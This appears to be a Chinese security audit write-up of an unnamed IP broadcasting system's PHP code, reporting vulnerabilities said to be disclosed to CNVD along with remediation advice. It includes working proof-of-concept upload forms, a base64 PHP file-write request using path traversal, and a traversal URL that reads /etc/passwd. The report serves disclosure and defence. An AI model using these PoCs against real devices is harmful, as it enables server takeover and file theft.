某IP广播系统代码审计
字数 1699 2025-08-07 00:34:58

IP广播系统代码审计报告与漏洞分析

0x00 审计前的准备

本次审计针对某IP广播系统,所有发现漏洞已提交CNVD。系统主要功能代码位于php目录下,审计重点应放在该目录。

0x01 文件上传漏洞分析

upload/my_parser.php 任意文件上传

漏洞位置upload/my_parser.php
漏洞描述:无任何过滤措施,可直接上传任意文件

POC构造

<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title></title>
</head>
<body>
<form action="http://127.0.0.1/upload/my_parser.php" enctype="multipart/form-data" method="post">
    <input class="input_file" type="file" name="upload"/>
    <input class="button" type="submit" name="submit" value="upload"/>
</form>
</body>
</html>

修复建议

  1. 严格限制上传文件类型
  2. 添加文件内容检查
  3. 重命名上传文件

0x02 核心功能文件分析

系统所有PHP文件均包含conversion.php,该文件定义了8个关键函数:

  1. arrayRecursive(&\(array, \)function, $apply_to_keys_also = false)

    • 功能:递归处理数组元素
    • 参数:
      • $array: 待处理数组
      • $function: 处理函数
      • $apply_to_keys_also: 是否同时处理键名
  2. JSON(\(array, \)want_url_encode = true)

    • 功能:数组转JSON并URL编码
    • 用途:处理中文字符传输
  3. UdpSendJson(\(array, \)msgType)

    • 功能:发送JSON数据到UDP服务
  4. UdpSend($msg)

    • 功能:向8888端口发送命令(AppWebService)
  5. UdpSendAndRecvJson(\(array, \)msgType)

    • 功能:发送并接收JSON数据
  6. UdpSendAndRecv($msg)

    • 功能:发送接收数据,向本地8888端口发送POST请求
  7. phplog($data)

    • 功能:日志记录
  8. get_real_ip()

    • 功能:通过Client_ip头获取真实IP
    • 风险:IP伪造可能

0x03 任意文件上传漏洞

php/addmediadata.php

漏洞位置

  • 允许自定义$subpath$fullpath
  • 检查文件大小后直接使用move_uploaded_file

利用条件

  • 控制上传路径参数
  • 满足基本文件大小检查

POC构造

<form action="http://target/addmediadata.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
    <input type="text" name="subpath" value="1/">
    <input type="submit" value="Upload">
</form>

访问路径:./upload/1/5.php

同类漏洞

  • addmediadatapath.php存在相同问题

php/addscenedata.php

漏洞描述

  • 无过滤直接上传
  • 文件保存到./images/scene/目录

POC构造

<form action="http://target/addscenedata.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
    <input type="submit" value="Upload">
</form>

访问路径:./images/scene/5.php

0x04 任意文件写入漏洞

漏洞位置:多个接口存在此问题

利用条件

  1. 需要POST参数jsondata
  2. $caller, $callee, $imagename, $imagecontent不为空
  3. $imagename用下划线分割后等于三部分
  4. $callee参与目录拼接(可目录遍历)

漏洞原理

  • 接收base64编码内容
  • 解码后直接写入文件

POC构造

POST /vulnerable_endpoint HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

jsondata={"caller":"attacker","callee":"../../path","imagename":"malicious_file.php","imagecontent":"PD9waHAgcGhwaW5mbygpOz8+"}

(base64内容为<?php phpinfo();?>)

0x05 任意文件读取漏洞

php/exportrecord.php

漏洞位置

  • 直接使用downname参数
  • 仅使用basename过滤(第37行)
  • 第41行直接fread文件内容

利用方式

http://target/exportrecord.php?downname=../../etc/passwd

同类漏洞

  • exprottts.php存在相同问题

0x06 漏洞总结与修复建议

漏洞总结

  1. 多处无过滤文件上传
  2. 任意文件写入
  3. 任意文件读取
  4. 路径遍历风险
  5. 硬编码端口(8888)风险

修复建议

  1. 输入验证

    • 所有用户输入进行严格过滤
    • 使用白名单验证文件类型和路径
  2. 文件操作安全

    • 禁止用户控制文件路径
    • 上传文件重命名
    • 限制文件访问目录
  3. 权限控制

    • 最小权限原则运行服务
    • 敏感操作需要身份验证
  4. 日志监控

    • 加强日志记录
    • 监控异常文件操作
  5. 代码重构

    • 实现统一的安全过滤函数
    • 移除危险函数直接调用

整体评价

该系统存在严重安全缺陷,多处高危漏洞可导致服务器完全沦陷。硬件设备厂商常忽视代码安全,建议进行全面安全审计和代码重构。

IP广播系统代码审计报告与漏洞分析 0x00 审计前的准备 本次审计针对某IP广播系统,所有发现漏洞已提交CNVD。系统主要功能代码位于php目录下,审计重点应放在该目录。 0x01 文件上传漏洞分析 upload/my_ parser.php 任意文件上传 漏洞位置 : upload/my_parser.php 漏洞描述 :无任何过滤措施,可直接上传任意文件 POC构造 : 修复建议 : 严格限制上传文件类型 添加文件内容检查 重命名上传文件 0x02 核心功能文件分析 系统所有PHP文件均包含 conversion.php ,该文件定义了8个关键函数: arrayRecursive(&$array, $function, $apply_ to_ keys_ also = false) 功能:递归处理数组元素 参数: $array: 待处理数组 $function: 处理函数 $apply_ to_ keys_ also: 是否同时处理键名 JSON($array, $want_ url_ encode = true) 功能:数组转JSON并URL编码 用途:处理中文字符传输 UdpSendJson($array, $msgType) 功能:发送JSON数据到UDP服务 UdpSend($msg) 功能:向8888端口发送命令(AppWebService) UdpSendAndRecvJson($array, $msgType) 功能:发送并接收JSON数据 UdpSendAndRecv($msg) 功能:发送接收数据,向本地8888端口发送POST请求 phplog($data) 功能:日志记录 get_ real_ ip() 功能:通过Client_ ip头获取真实IP 风险:IP伪造可能 0x03 任意文件上传漏洞 php/addmediadata.php 漏洞位置 : 允许自定义 $subpath 和 $fullpath 检查文件大小后直接使用 move_uploaded_file 利用条件 : 控制上传路径参数 满足基本文件大小检查 POC构造 : 访问路径: ./upload/1/5.php 同类漏洞 : addmediadatapath.php 存在相同问题 php/addscenedata.php 漏洞描述 : 无过滤直接上传 文件保存到 ./images/scene/ 目录 POC构造 : 访问路径: ./images/scene/5.php 0x04 任意文件写入漏洞 漏洞位置 :多个接口存在此问题 利用条件 : 需要POST参数 jsondata $caller , $callee , $imagename , $imagecontent 不为空 $imagename 用下划线分割后等于三部分 $callee 参与目录拼接(可目录遍历) 漏洞原理 : 接收base64编码内容 解码后直接写入文件 POC构造 : (base64内容为 <?php phpinfo();?> ) 0x05 任意文件读取漏洞 php/exportrecord.php 漏洞位置 : 直接使用 downname 参数 仅使用 basename 过滤(第37行) 第41行直接 fread 文件内容 利用方式 : 同类漏洞 : exprottts.php 存在相同问题 0x06 漏洞总结与修复建议 漏洞总结 多处无过滤文件上传 任意文件写入 任意文件读取 路径遍历风险 硬编码端口(8888)风险 修复建议 输入验证 : 所有用户输入进行严格过滤 使用白名单验证文件类型和路径 文件操作安全 : 禁止用户控制文件路径 上传文件重命名 限制文件访问目录 权限控制 : 最小权限原则运行服务 敏感操作需要身份验证 日志监控 : 加强日志记录 监控异常文件操作 代码重构 : 实现统一的安全过滤函数 移除危险函数直接调用 整体评价 该系统存在严重安全缺陷,多处高危漏洞可导致服务器完全沦陷。硬件设备厂商常忽视代码安全,建议进行全面安全审计和代码重构。